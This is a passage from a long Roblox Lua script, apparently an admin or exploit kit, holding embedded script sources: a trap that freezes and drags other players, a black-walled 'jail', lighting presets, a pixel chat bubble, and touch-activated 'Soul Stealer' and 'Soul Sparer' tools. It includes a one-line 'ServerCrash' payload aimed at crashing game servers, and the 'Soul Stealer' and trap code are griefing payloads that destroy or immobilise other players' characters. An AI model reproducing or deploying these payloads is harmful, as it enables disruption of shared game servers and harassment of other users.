  4643. fpm.Scale = Vector3.new(10, 10, 10)
  4644. fpm.VertexColor = Vector3.new(1, 0, 0)
  4645.  
  4646. fp.Touched:connect(function(part)
  4647. pcall(function()
  4648. table.insert(players, part.Parent:findFirstChild("Torso"))
  4649. part.Parent:findFirstChild("Torso").Anchored = true
  4650. part.Parent:findFirstChild("Humanoid").WalkSpeed = 0
  4651. end)
  4652. end)
  4653.  
  4654. while wait() do
  4655. fp.CFrame = CFrame.new(game:GetService("Players").LocalPlayer.Character.Torso.CFrame.x, game:GetService("Players").LocalPlayer.Character.Torso.CFrame.y - 5, game:GetService("Players").LocalPlayer.Character.Torso.CFrame.z) * CFrame.Angles(game:GetService("Players").LocalPlayer.Character.Torso.CFrame:toEulerAnglesXYZ())
  4656. fp.Position = fp.CFrame.p
  4657. for i, v in pairs(players) do
  4658. v.CFrame = fp.CFrame * CFrame.new(0, 3, 2)
  4659. end
  4660. end ]]
  4661. JailSource = [[ wait(0)
  4662. script.Parent = nil
  4663.  
  4664. local LP = game:GetService("Players").LocalPlayer
  4665. Middle2 = nil
  4666. Middle = nil
  4667. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  4668.  
  4669. Cons = {}
  4670.  
  4671. function makePrison()
  4672. for _,v in pairs(Cons) do
  4673. v:disconnect()
  4674. end
  4675. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  4676. if Middle == nil then
  4677. Middle2 = LP.Character.Torso.Position
  4678. Middle = LP.Character.Torso.CFrame
  4679. end
  4680. local side1 = Instance.new("Part")
  4681. side1.Name = "¬Focus1¬"
  4682. side1.Size = Vector3.new(20, 50, 1)
  4683. side1.CFrame = Middle * CFrame.new(0, 0, -10)
  4684. side1.BrickColor = BrickColor.new("Really black")
  4685. side1.CanCollide = true
  4686. side1.Anchored = true
  4687. side1.TopSurface = "Smooth"
  4688. side1.BottomSurface = "Smooth"
  4689. side1.Parent = game:GetService("Workspace").CurrentCamera
  4690.  
  4691. local side2 = Instance.new("Part")
  4692. side2.Name = "¬Focus2¬"
  4693. side2.Size = Vector3.new(20, 50, 1)
  4694. side2.CFrame = Middle * CFrame.new(0, 0, 10)
  4695. side2.BrickColor = BrickColor.new("Really black")
  4696. side2.CanCollide = true
  4697. side2.Anchored = true
  4698. side2.TopSurface = "Smooth"
  4699. side2.BottomSurface = "Smooth"
  4700. side2.Parent = game:GetService("Workspace").CurrentCamera
  4701.  
  4702. local side3 = Instance.new("Part")
  4703. side3.Name = "¬Focus3¬"
  4704. side3.Size = Vector3.new(1, 50, 20)
  4705. side3.CFrame = Middle * CFrame.new(10, 0, 0)
  4706. side3.BrickColor = BrickColor.new("Really black")
  4707. side3.CanCollide = true
  4708. side3.Anchored = true
  4709. side3.TopSurface = "Smooth"
  4710. side3.BottomSurface = "Smooth"
  4711. side3.Parent = game:GetService("Workspace").CurrentCamera
  4712.  
  4713. local side4 = Instance.new("Part")
  4714. side4.Name = "¬Focus4¬"
  4715. side4.Size = Vector3.new(1, 50, 20)
  4716. side4.CFrame = Middle * CFrame.new(-10, 0, 0)
  4717. side4.BrickColor = BrickColor.new("Really black")
  4718. side4.CanCollide = true
  4719. side4.Anchored = true
  4720. side4.TopSurface = "Smooth"
  4721. side4.BottomSurface = "Smooth"
  4722. side4.Parent = game:GetService("Workspace").CurrentCamera
  4723.  
  4724. local side5 = Instance.new("Part")
  4725. side5.Name = "¬Focus5¬"
  4726. side5.Size = Vector3.new(20, 1, 20)
  4727. side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
  4728. side5.BrickColor = BrickColor.new("Really black")
  4729. side5.CanCollide = true
  4730. side5.Anchored = true
  4731. side5.TopSurface = "Smooth"
  4732. side5.BottomSurface = "Smooth"
  4733. side5.Parent = game:GetService("Workspace").CurrentCamera
  4734.  
  4735. wait(0)
  4736.  
  4737. table.insert(Cons, side1.Changed:connect(makePrison))
  4738. table.insert(Cons, side2.Changed:connect(makePrison))
  4739. table.insert(Cons, side3.Changed:connect(makePrison))
  4740. table.insert(Cons, side4.Changed:connect(makePrison))
  4741. table.insert(Cons, side5.Changed:connect(makePrison))
  4742. end
  4743.  
  4744. Delay(0, function()
  4745. while wait(0) do
  4746. ypcall(function()
  4747. if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
  4748. LP.Character:BreakJoints()
  4749. elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
  4750. makePrison()
  4751. end
  4752. end)
  4753. ypcall(function()
  4754. if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
  4755. LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
  4756. end
  4757. end)
  4758. end
  4759. end)
  4760. if not workspace.CurrentCamera:findFirstChild("Hint") then
  4761. local mes = Instance.new("Hint", workspace.CurrentCamera)
  4762. mes.Text = string.gsub("Now,Perish before you.","","\5")
  4763. end
  4764. ]]
  4765.  
  4766. Day = [[game:service'Lighting'.TimeOfDay = 14
  4767. game:service'Lighting'.OutdoorAmbient = Color3.new(128/255, 128/255, 128/255)
  4768. game:service'Lighting'.Brightness = 1
  4769. game:service'Lighting'.Ambient = Color3.new()
  4770. game:service'Lighting'.GlobalShadows = true
  4771. game:service'Lighting'.GeographicLatitude = 41.733
  4772. game:service'Lighting'.FogEnd = 100000
  4773. game:service'Lighting'.FogColor = Color3.new(192/255, 192/255, 192/255)
  4774. game:service'Lighting'.ShadowColor = Color3.new(179/255, 179/255, 184/255)]]
  4775. Morning = [[game:service'Lighting'.TimeOfDay = 7
  4776. game:service'Lighting'.OutdoorAmbient = Color3.new(128/255, 128/255, 128/255)
  4777. game:service'Lighting'.Brightness = 1
  4778. game:service'Lighting'.Ambient = Color3.new()
  4779. game:service'Lighting'.GlobalShadows = true
  4780. game:service'Lighting'.GeographicLatitude = 41.733
  4781. game:service'Lighting'.FogEnd = 100000
  4782. game:service'Lighting'.FogColor = Color3.new(192/255, 192/255, 192/255)
  4783. game:service'Lighting'.ShadowColor = Color3.new(179/255, 179/255, 184/255)]]
  4784. Night = [[game:service'Lighting'.TimeOfDay = 0
  4785. game:service'Lighting'.OutdoorAmbient = Color3.new(0.1, 0.1, 0.15)
  4786. game:service'Lighting'.Brightness = 1
  4787. game:service'Lighting'.Ambient = Color3.new()
  4788. game:service'Lighting'.GlobalShadows = true
  4789. game:service'Lighting'.GeographicLatitude = 41.733
  4790. game:service'Lighting'.FogEnd = 100000
  4791. game:service'Lighting'.FogColor = Color3.new()
  4792. game:service'Lighting'.ShadowColor = Color3.new(179/255, 179/255, 184/255)]]
  4793. ServerCrash = [[Instance.new("ManualSurfaceJointInstance", game.Workspace)
  4794. ]]
  4795. PixelChatSource = [[
  4796. wait(0.001)
  4797. script:ClearAllChildren();
  4798. script.Parent=nil;
  4799. wait(1)
  4800. LocalPlayer = game:service'Players'.LocalPlayer
  4801. Letters = {"00000000000000000000000000000000000","01000010000100001000010000000001000","10100101000000000000000000000000000","00000010101111101010111110101000000","00100111111010011111001011111100100","00000000001100111010001000101110011","00100010100101001010011011001001101","00100001000000000000000000000000000","00010001000100001000010000010000010","01000001000001000010000100010001000","00100011100010000000000000000000000","00000001000010011111001000010000000","00000000000000000000110001100001000","00000000000000000000011100000000000","00000000000000000000000001100011000","00000000100001000100001000100001000","01110100011001110101110011000101110","00100011000010000100001000010011111","01110100010000100110010001000111111","01110100010000100110000011000101110","00011001010100110001111110000100001","11111100001111000001000011000101110","00110010001000011110100011000101110","11111100010000100010001000010000100","01110100011000101110100011000101110","01110100011000101111000010001001100","00000000000110001100000000110001100","00000011000110000000011000110000100","00010001000100010000010000010000010","00000000001111100000111110000000000","01000001000001000001000100010001000","01110100010000100010001000000000100","01110100011011110101101111000001111","01110100011111110001100011000110001","11110100011111010001100011000111110","01110100011000010000100001000101110","11110100011000110001100011000111110","11111100001110010000100001000011111","11111100001110010000100001000010000","01111100001001110001100011000101110","10001100011111110001100011000110001","01110001000010000100001000010001110","00001000010000100001000011000101110","10010101001100011000101001001010010","10000100001000010000100001000011111","10001110111010110001100011000110001","10001110011010110011100011000110001","01110100011000110001100011000101110","11110100011111010000101001000010000","01110100011000110001100011001001101","11110100011111010001100011000110001","01111100000111000001000011000101110","11111001000010000100001000010000100","10001100011000110001100011000101110","10001100011000110001010100101000100","10001100011000110001101011101110001","10001010100010001010100011000110001","10001010100010000100001000010000100","11111000010001000100010001000011111","01110010000100001000010000100001110","00000010000100000100001000001000010","01110000100001000010000100001001110","00000001000101000000000000000000000","00000000000000000000000000000011111","01000001000000000000000000000000000","00000000000111000001011111000101111","10000100001011011001100011000111110","00000000000111010001100001000101110","00001000010110110011100011000101111","00000000000111010001111111000001111","00011001000111100100001000010000100","00000000000111110001011110000111110","10000100001011011001100011000110001","00100000000010000100001000010000100","00001000000000100001100011000101110","10000100001001010100110001010010010","00100001000010000100001000010000010","00000000001101010101101011000110001","00000000001111010001100011000110001","00000000000111010001100011000101110","00000000001011011001111101000010000","00000000000110110011011110000100001","00000000001011011001100001000010000","00000000000111110000011100000111110","00100001000111000100001000010000010","00000000001000110001100011000101111","00000000001000110001100010101000100","00000000001000110001101011010101111","00000000001000101010001000101010001","00000000001000110001011110000111110","00000000001111100010001000100011111","00010001000010001000001000010000010","10000100001000010000100001000010000","01000001000010000010001000010001000","00000000000000000010101010100000000"}
  4802. DeModel = Instance.new("BillboardGui", workspace:findFirstChild(LocalPlayer.Name))
  4803. DeModel.StudsOffset = Vector3.new(0,2.5,0)
  4804. DeModel.Name = ":D"
  4805. FR = Instance.new("Frame",DeModel)
  4806. FR.Size=UDim2.new(1,0,1,0)
  4807. FR.BackgroundColor3=BrickColor.new("Institutional white").Color
  4808. FR.BorderSizePixel=0
  4809. FR.ZIndex=2
  4810. CurrParent = workspace:findFirstChild(LocalPlayer.Name).Head
  4811. game:service'RunService'.RenderStepped:connect(function()
  4812. pcall(function()
  4813. local a = workspace:findFirstChild(LocalPlayer.Name)
  4814. if a.ClassName == 'Part' then
  4815. CurrParent = a
  4816. else
  4817. CurrParent = a:findFirstChild'Head'
  4818. end
  4819. end)
  4820. if DeModel.Parent ~= CurrParent or DeModel == nil or FR.Parent ~= DeModel or FR == nil then
  4821. pcall(function()
  4822. if CurrParent.ClassName == 'Part' then
  4823. DeModel = Instance.new("BillboardGui", CurrParent)
  4824. DeModel.Adornee = CurrParent
  4825. DeModel.StudsOffset = Vector3.new(0,2.5,0)
  4826. DeModel.Name = ":D"
  4827. FR = Instance.new("Frame",DeModel)
  4828. FR.Size=UDim2.new(1,0,1,0)
  4829. FR.BackgroundColor3=BrickColor.new("Institutional white").Color
  4830. FR.BorderSizePixel=0
  4831. FR.ZIndex=2
  4832. end
  4833. end)
  4834. end
  4835. end)
  4836. function CreateLetter(what, pos, posy, cl)
  4837. pcall(function()
  4838. if cl == nil then cl = "Really black" end
  4839. if Letters[what:byte()-31] then
  4840. what = Letters[what:byte()-31]
  4841. else
  4842. what = Letters[1]
  4843. end
  4844. if type(what) ~= "string" then return end
  4845. what = what:gsub('\n','')
  4846. what = what:gsub('\t','')
  4847. what = what:gsub(' ','')
  4848. pos = pos * 2
  4849. posy = posy * 2
  4850. c = 0
  4851. for y=1,7 do
  4852. for x=1,5 do
  4853. c = c + 1
  4854. if what:sub(c, c) == "1" then
  4855. local a = Instance.new("Frame", FR)
  4856. a.Name = "L"
  4857. a.ZIndex=3
  4858. a.Size = UDim2.new(0,2,0,2)
  4859. a.BorderSizePixel = 0
  4860. a.BackgroundTransparency = 1
  4861. a.BackgroundColor3 = BrickColor.new(cl).Color
  4862. a.Position = UDim2.new(0,((x+1)*2)+pos,0,(y*2)+posy)
  4863. coroutine.wrap(function()
  4864. wait(math.random(1, 10)/50)
  4865. a.BackgroundTransparency = 0
  4866. end)()
  4867. end
  4868. end
  4869. end
  4870. end)
  4871. end
  4872. LocalPlayer.Chatted:connect(function(m)
  4873. pcall(function()
  4874. local cl = "Really black"
  4875. for _,v in pairs(DeModel.Frame:children()) do
  4876. v:Destroy()
  4877. end
  4878. if m:sub(1,2) == '/e' then return end
  4879. if m:sub(1,3) == "/! " then
  4880. m = m:sub(4)
  4881. DeModel.Frame.BackgroundColor3 = BrickColor.new("Really black").Color
  4882. cl = "Really red"
  4883. else
  4884. DeModel.Frame.BackgroundColor3 = BrickColor.new("Institutional white").Color
  4885. end
  4886. m1 = m:gsub("\n"," ")
  4887. m1 = m1:gsub("\t"," ")
  4888. m1 = m1:gsub("math.pi",tostring(math.pi))
  4889. if #m1 <= 30 then
  4890. DeModel.Size = UDim2.new(0,(30+(#m1*10)),0,20)
  4891. elseif #m1 <= 60 then
  4892. DeModel.Size = UDim2.new(0,330,0,40)
  4893. elseif #m1 <= 90 then
  4894. DeModel.Size = UDim2.new(0,330,0,60)
  4895. elseif #m1 > 90 then
  4896. DeModel.Size = UDim2.new(0,340,0,60)
  4897. m1 = m1:sub(1,90).."..."
  4898. end
  4899. coroutine.wrap(function()
  4900. for i = 1,0,-1/#m1 do
  4901. DeModel.Frame.Transparency = i
  4902. wait(1/60)
  4903. end
  4904. end)()
  4905. if #m1 < 30 then
  4906. for i = 1,#m1 do
  4907. CreateLetter(m1:sub(i,i),i*5,0,cl)
  4908. wait(1/60)
  4909. end
  4910. elseif #m1 <= 60 then
  4911. for i = 1,30 do
  4912. CreateLetter(m1:sub(i,i),i*5,0,cl)
  4913. wait(1/60)
  4914. end
  4915. for i = 31,#m1 do
  4916. CreateLetter(m1:sub(i,i),(i-30)*5,10,cl)
  4917. wait(1/60)
  4918. end
  4919. elseif #m1 >= 60 then
  4920. for i = 1,30 do
  4921. CreateLetter(m1:sub(i,i),i*5,0,cl)
  4922. wait(1/60)
  4923. end
  4924. for i = 31,60 do
  4925. CreateLetter(m1:sub(i,i),(i-30)*5,10,cl)
  4926. wait(1/60)
  4927. end
  4928. for i = 61,#m1 do
  4929. CreateLetter(m1:sub(i,i),(i-60)*5,20,cl)
  4930. wait(1/60)
  4931. end
  4932. end
  4933. end)
  4934. end)
  4935. ]]
  4936. SoulStealer = [[
  4937. Instance.new("HopperBin",game.Players.LocalPlayer.Backpack).Name = "Soul Stealer"
  4938. script.Parent = game.Players.LocalPlayer.Backpack:findFirstChild"Soul Stealer"
  4939. local char = script.Parent.Parent.Parent.Character
  4940. local humanoid = char.Humanoid
  4941. local Head = char.Head
  4942. local Torso = char.Torso
  4943. local LeftArm = char["Left Arm"]
  4944. local RightArm = char["Right Arm"]
  4945. local LeftLeg = char["Left Leg"]
  4946. local RightLeg = char["Right Leg"]
  4947. local RightHip = Torso["Right Hip"]
  4948. local LeftHip = Torso["Left Hip"]
  4949. local Neck = Torso.Neck
  4950. local RightShoulder = Torso["Right Shoulder"]
  4951. local LeftShoulder = Torso["Left Shoulder"]
  4952. local NeckC0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  4953. local NeckC1 = CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  4954. local LeftShoulderC0 = CFrame.new(-1, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
  4955. local LeftShoulderC1 = CFrame.new(0.5, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
  4956. local RightShoulderC0 = CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  4957. local RightShoulderC1 = CFrame.new(-0.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  4958. local LeftHipC0 = CFrame.new(-1, -1, 0, 0, 0, -1,0,1, 0, 1, 0, 0)
  4959. local LeftHipC1 = CFrame.new(-0.5,1,0,0,0,-1,0,1,0,1, 0, 0)
  4960. local RightHipC0 = CFrame.new(1,-1,0,0,0,1,0,1,0,-1,0,0)
  4961. local RightHipC1 = CFrame.new(0.5,1,0,0,0,1,0,1,0,-1,0,0)
  4962. local rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint")
  4963. local rootpart = char:findFirstChild("HumanoidRootPart")
  4964. spirit = false
  4965. Instance.new("HumanoidController", game:service'ControllerService')
  4966. Instance.new("SkateboardController", game:service'ControllerService')
  4967. Instance.new("VehicleController", game:service'ControllerService')
  4968. local Colors = {"White","Really black","Lavender","Bright bluish green"}
  4969. Head.Transparency = 0.5
  4970. Head.Reflectance = 0.5
  4971. Torso.Transparency = 0.5
  4972. Torso.Reflectance = 0.5
  4973. RightLeg.Transparency = 0.5
  4974. RightLeg.Reflectance = 0.5
  4975. LeftArm.Transparency = 0.5
  4976. LeftArm.Reflectance = 0.5
  4977. RightArm.Transparency = 0.5
  4978. RightArm.Reflectance = 0.5
  4979. LeftLeg.Transparency = 0.5
  4980. LeftLeg.Reflectance = 0.5
  4981. Head.Touched:connect(function(hit)
  4982. if hit.Parent:findFirstChild("Humanoid")then
  4983. game:GetService("Chat"):Chat(Head,"Oh hey there.Hug?",0)
  4984. for i,v in pairs(hit.Parent:GetChildren())do
  4985. if v:IsA"Humanoid" then
  4986. game:GetService("Chat"):Chat(Head,"I've taken your soul.",0)
  4987. v:Destroy()
  4988. elseif v:IsA"Part" then
  4989. game:GetService("Chat"):Chat(v.Parent.Head,"AHHHHHH!!!",2)
  4990. v.Velocity = v.Position * Vector3.new(50,3,0)
  4991. v.RotVelocity = v.Position - v.Velocity
  4992. v:Remove()
  4993. end end end
  4994. end)
  4995. Torso.Touched:connect(function(hit)
  4996. if hit.Parent:findFirstChild("Humanoid")then
  4997. game:GetService("Chat"):Chat(Head,"Hello sir,Want a friendly hug?",0)
  4998. for i,v in pairs(hit.Parent:GetChildren())do
  4999. if v:IsA"Humanoid" then
  5000. game:GetService("Chat"):Chat(Head,"That was too easy.",0)
  5001. v:Destroy()
  5002. elseif v:IsA"Part" then
  5003. game:GetService("Chat"):Chat(v.Parent.Head,"UGH!",2)
  5004. v.Velocity = v.Position * Vector3.new(50,3,0)
  5005. v.RotVelocity = v.Position - v.Velocity
  5006. v:Remove()
  5007. end end end
  5008. end)
  5009. RightArm.Touched:connect(function(hit)
  5010. game:GetService("Chat"):Chat(Head,"I've taken your life.",0)
  5011. if hit.Parent:findFirstChild("Humanoid")then
  5012. for i,v in pairs(hit.Parent:GetChildren())do
  5013. if v:IsA"Humanoid" then
  5014. game:GetService("Chat"):Chat(Head,"Now i break your bones.",0)
  5015. v:Destroy()
  5016. elseif v:IsA"Part" then
  5017. game:GetService("Chat"):Chat(v.Parent.Head,"AH!MY BONES!",2)
  5018. v.Velocity = v.Position * Vector3.new(50,3,0)
  5019. v.RotVelocity = v.Position - v.Velocity
  5020. v:Remove()
  5021. end end end
  5022. end)
  5023. LeftArm.Touched:connect(function(hit)
  5024. game:GetService("Chat"):Chat(Head,"I've crushed you.",0)
  5025. if hit.Parent:findFirstChild("Humanoid")then
  5026. for i,v in pairs(hit.Parent:GetChildren())do
  5027. if v:IsA"Humanoid" then
  5028. game:GetService("Chat"):Chat(Head,"Ahhilated.",0)
  5029. v:Destroy()
  5030. elseif v:IsA"Part" then
  5031. game:GetService("Chat"):Chat(v.Parent.Head,"AOUGH!",2)
  5032. v.Velocity = v.Position * Vector3.new(50,3,0)
  5033. v.RotVelocity = v.Position - v.Velocity
  5034. v:Remove()
  5035. end end end
  5036. end)
  5037. LeftLeg.Touched:connect(function(hit)
  5038. if hit.Parent:findFirstChild("Humanoid")then
  5039. for i,v in pairs(hit.Parent:GetChildren())do
  5040. if v:IsA"Humanoid" then
  5041. game:GetService("Chat"):Chat(Head,"Cool.",0)
  5042. v:Destroy()
  5043. elseif v:IsA"Part" then
  5044. v.Velocity = v.Position * Vector3.new(50,3,0)
  5045. v.RotVelocity = v.Position - v.Velocity
  5046. v.Transparency = 0.5
  5047. end end end
  5048. end)
  5049. RightLeg.Touched:connect(function(hit)
  5050. if hit.Parent:findFirstChild("Humanoid")then
  5051. for i,v in pairs(hit.Parent:GetChildren())do
  5052. if v:IsA"Humanoid" then
  5053. v:Destroy()
  5054. elseif v:IsA"Part" then
  5055. v.Velocity = v.Position * Vector3.new(50,3,0)
  5056. v.RotVelocity = v.Position - v.Velocity
  5057. v.Transparency = 0.5
  5058. end end end
  5059. end)
  5060. humanoid.Died:connect(function()
  5061. game:GetService("Chat"):Chat(Head,"NO!THIS IS IMPOSSIBLE!NOOOOO!",2)
  5062. for cframe_parts = 0, 100 do
  5063. local p = Instance.new("Part")
  5064. p.FormFactor = "Custom"
  5065. p.BrickColor = BrickColor.new(Colors[math.random(1, #Colors)])
  5066. p.Size = Vector3.new(1, 1, 1)
  5067. Instance.new("BlockMesh", p).Scale = Vector3.new(0.05, 0.05, 0.05)
  5068. p.Locked = true
  5069. p.CanCollide = false
  5070. p.Anchored = true
  5071. p.CFrame = Torso.CFrame * CFrame.Angles(math.random(-50, 50),math.random(-50, 50),math.random(-50, 50))
  5072. p.Parent = workspace
  5073. local box = Instance.new("SelectionBox", p)
  5074. box.Color = BrickColor.new(Colors[math.random(1, #Colors)])
  5075. box.Adornee = p
  5076. box.Transparency = 0.5
  5077. box.Visible = true
  5078. local spirit = Instance.new("Fire", p)
  5079. spirit.Color = Color3.new(0,0,0)
  5080. spirit.Enabled = true
  5081. spirit.Heat = 10
  5082. spirit.SecondaryColor = Color3.new(255,255,255)
  5083. spirit.Size = 5
  5084. game:service'Debris':AddItem(p, 5)
  5085. coroutine.wrap(function()
  5086. while wait() do
  5087. if p ~= nil then
  5088. p.CFrame = p.CFrame * CFrame.new(0, 0.085, 0)
  5089. p.Mesh.Scale = p.Mesh.Scale - Vector3.new(0.005, 0, 0.005) + Vector3.new(0, 0.01, 0)
  5090. p.Transparency = p.Transparency + 0.015
  5091. else
  5092. break
  5093. end
  5094. end
  5095. end)()
  5096. end
  5097. for _,v in pairs(char:children()) do
  5098. if v:IsA("Part") then
  5099. v:Destroy()
  5100. end
  5101. end
  5102.  
  5103. end)
  5104. local function Button1Down(mouse)
  5105. game:GetService("Chat"):Chat(Head,"NOW PERISH!SPIRIT MODE ACTIVATE!",2)
  5106. if spirit == false then
  5107. spirit = true
  5108. RightArm.Transparency = 1
  5109. LeftArm.Transparency = 1
  5110. RightLeg.Transparency = 1
  5111. LeftLeg.Transparency = 1
  5112. Head.Transparency = 1
  5113. Torso.Transparency = 1
  5114. local protect = Instance.new("ForceField", char)
  5115. protect.Archivable = true
  5116. local spirit = Instance.new("Fire", char.Torso)
  5117. spirit.Color = Color3.new(0,0,0)
  5118. spirit.Enabled = true
  5119. spirit.Heat = 10
  5120. spirit.SecondaryColor = Color3.new(255,255,255)
  5121. spirit.Size = 5
  5122. humanoid.MaxHealth = math.huge
  5123. wait()
  5124. humanoid.WalkSpeed = 100
  5125. wait(20)
  5126. spirit = false
  5127. game:GetService("Chat"):Chat(Head,"Have you gotten enough?No? Ok.",1)
  5128. RightArm.Transparency = 0.5
  5129. LeftArm.Transparency = 0.5
  5130. RightLeg.Transparency = 0.5
  5131. LeftLeg.Transparency = 0.5
  5132. Head.Transparency = 0.5
  5133. Torso.Transparency = 0.5
  5134. char.Torso.Fire:Remove()
  5135. humanoid.Health = 100
  5136. humanoid.WalkSpeed = 16
  5137. char.Head.face:Remove()
  5138. char.ForceField:Remove()
  5139. char.Pants:Remove()
  5140. char.Shirt:Remove()
  5141. end
  5142. end
  5143. script.Parent.Selected:connect(function(mouse)mouse.Button1Down:connect(function(mouse)Button1Down(mouse)end)end)]]
  5144. SoulSparer = [[
  5145. Instance.new("HopperBin",game.Players.LocalPlayer.Backpack).Name = "Soul Sparer"
  5146. script.Parent = game.Players.LocalPlayer.Backpack:findFirstChild"Soul Sparer"
  5147. local char = script.Parent.Parent.Parent.Character
  5148. local humanoid = char.Humanoid
  5149. local Head = char.Head
  5150. local Torso = char.Torso
  5151. local LeftArm = char["Left Arm"]
  5152. local RightArm = char["Right Arm"]
  5153. local LeftLeg = char["Left Leg"]
  5154. local RightLeg = char["Right Leg"]
  5155. local RightHip = Torso["Right Hip"]
  5156. local LeftHip = Torso["Left Hip"]
  5157. local Neck = Torso.Neck
  5158. local RightShoulder = Torso["Right Shoulder"]
  5159. local LeftShoulder = Torso["Left Shoulder"]
  5160. local NeckC0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  5161. local NeckC1 = CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  5162. local LeftShoulderC0 = CFrame.new(-1, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
  5163. local LeftShoulderC1 = CFrame.new(0.5, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
  5164. local RightShoulderC0 = CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  5165. local RightShoulderC1 = CFrame.new(-0.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  5166. local LeftHipC0 = CFrame.new(-1, -1, 0, 0, 0, -1,0,1, 0, 1, 0, 0)
  5167. local LeftHipC1 = CFrame.new(-0.5,1,0,0,0,-1,0,1,0,1, 0, 0)
  5168. local RightHipC0 = CFrame.new(1,-1,0,0,0,1,0,1,0,-1,0,0)
  5169. local RightHipC1 = CFrame.new(0.5,1,0,0,0,1,0,1,0,-1,0,0)
  5170. spirit = false
  5171. local rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint")
  5172. local rootpart = char:findFirstChild("HumanoidRootPart")
  5173. spirit = false
  5174. Instance.new("HumanoidController", game:service'ControllerService')
  5175. Instance.new("SkateboardController", game:service'ControllerService')
  5176. Instance.new("VehicleController", game:service'ControllerService')
  5177. local Colors = {"White","Really blue","Really red","New Yeller","Lavender","Bright bluish green"}
  5178. Head.Touched:connect(function(hit)
  5179. if not hit.Parent:findFirstChild("Humanoid")then
  5180. game:GetService("Chat"):Chat(Head,"I'll give you a life.",0)
  5181. local pie = Instance.new("Humanoid", hit.Parent)
  5182. pie.Health = 0
  5183. for i,v in pairs(hit.Parent:GetChildren())do
  5184. if v:IsA"Humanoid" then
  5185. game:GetService("Chat"):Chat(Head,"I've made you reborn.",0)
  5186. elseif v:IsA"Part" then
  5187. game:GetService("Chat"):Chat(v.Parent.Head,"Yay!",1)
  5188. v.Velocity = v.Position * Vector3.new(50,3,0)
  5189. v.RotVelocity = v.Position - v.Velocity
  5190. v:MakeJoints()
  5191. end end end
  5192. end)
  5193. Torso.Touched:connect(function(hit)
  5194. if not hit.Parent:findFirstChild("Humanoid")then
  5195. game:GetService("Chat"):Chat(Head,"I'll give you a heart.",0)
  5196. local pie = Instance.new("Humanoid", hit.Parent)
  5197. pie.Health = 0
  5198. for i,v in pairs(hit.Parent:GetChildren())do
  5199. if v:IsA"Humanoid" then
  5200. game:GetService("Chat"):Chat(Head,"I've recreated you.",0)
  5201. elseif v:IsA"Part" then
  5202. game:GetService("Chat"):Chat(v.Parent.Head,"Thank you!",1)
  5203. v.Velocity = v.Position * Vector3.new(50,3,0)
  5204. v.RotVelocity = v.Position - v.Velocity
  5205. v:MakeJoints()
  5206. end end end
  5207. end)
  5208. LeftLeg.Touched:connect(function(hit)
  5209. if not hit.Parent:findFirstChild("Humanoid")then
  5210. game:GetService("Chat"):Chat(Head,"Here is a life.",0)
  5211. local pie = Instance.new("Humanoid", hit.Parent)
  5212. pie.Health = 0
  5213. for i,v in pairs(hit.Parent:GetChildren())do
  5214. if v:IsA"Humanoid" then
  5215. game:GetService("Chat"):Chat(Head,"I've given you a new life.",0)
  5216. elseif v:IsA"Part" then
  5217. game:GetService("Chat"):Chat(v.Parent.Head,"Yess!",1)
  5218. v.Velocity = v.Position * Vector3.new(50,3,0)
  5219. v.RotVelocity = v.Position - v.Velocity
  5220. v:MakeJoints()
  5221. end end end
  5222. end)
  5223. RightLeg.Touched:connect(function(hit)
  5224. if not hit.Parent:findFirstChild("Humanoid")then
  5225. game:GetService("Chat"):Chat(Head,"Here poor one.",0)
  5226. local pie = Instance.new("Humanoid", hit.Parent)
  5227. pie.Health = 0
  5228. for i,v in pairs(hit.Parent:GetChildren())do
  5229. if v:IsA"Humanoid" then
  5230. game:GetService("Chat"):Chat(Head,"Here.",0)
  5231. elseif v:IsA"Part" then
  5232. game:GetService("Chat"):Chat(v.Parent.Head,"Omg thank you!",1)
  5233. v.Velocity = v.Position * Vector3.new(50,3,0)
  5234. v.RotVelocity = v.Position - v.Velocity
  5235. v:MakeJoints()
  5236. end end end
  5237. end)
  5238. LeftArm.Touched:connect(function(hit)
  5239. if not hit.Parent:findFirstChild("Humanoid")then
  5240. game:GetService("Chat"):Chat(Head,"Here you go.",0)
  5241. local pie = Instance.new("Humanoid", hit.Parent)
  5242. pie.Health = 0
  5243. for i,v in pairs(hit.Parent:GetChildren())do
  5244. if v:IsA"Humanoid" then
  5245. game:GetService("Chat"):Chat(Head,"A spare life.",0)
  5246. elseif v:IsA"Part" then
  5247. game:GetService("Chat"):Chat(v.Parent.Head,"Hippe!",1)
  5248. v.Velocity = v.Position * Vector3.new(50,3,0)
  5249. v.RotVelocity = v.Position - v.Velocity
  5250. v:MakeJoints()
  5251. end end end
  5252. end)
  5253. RightArm.Touched:connect(function(hit)
  5254. if not hit.Parent:findFirstChild("Humanoid")then
  5255. game:GetService("Chat"):Chat(Head,"I'll create a spare life.",0)
  5256. local pie = Instance.new("Humanoid", hit.Parent)
  5257. pie.Health = 0
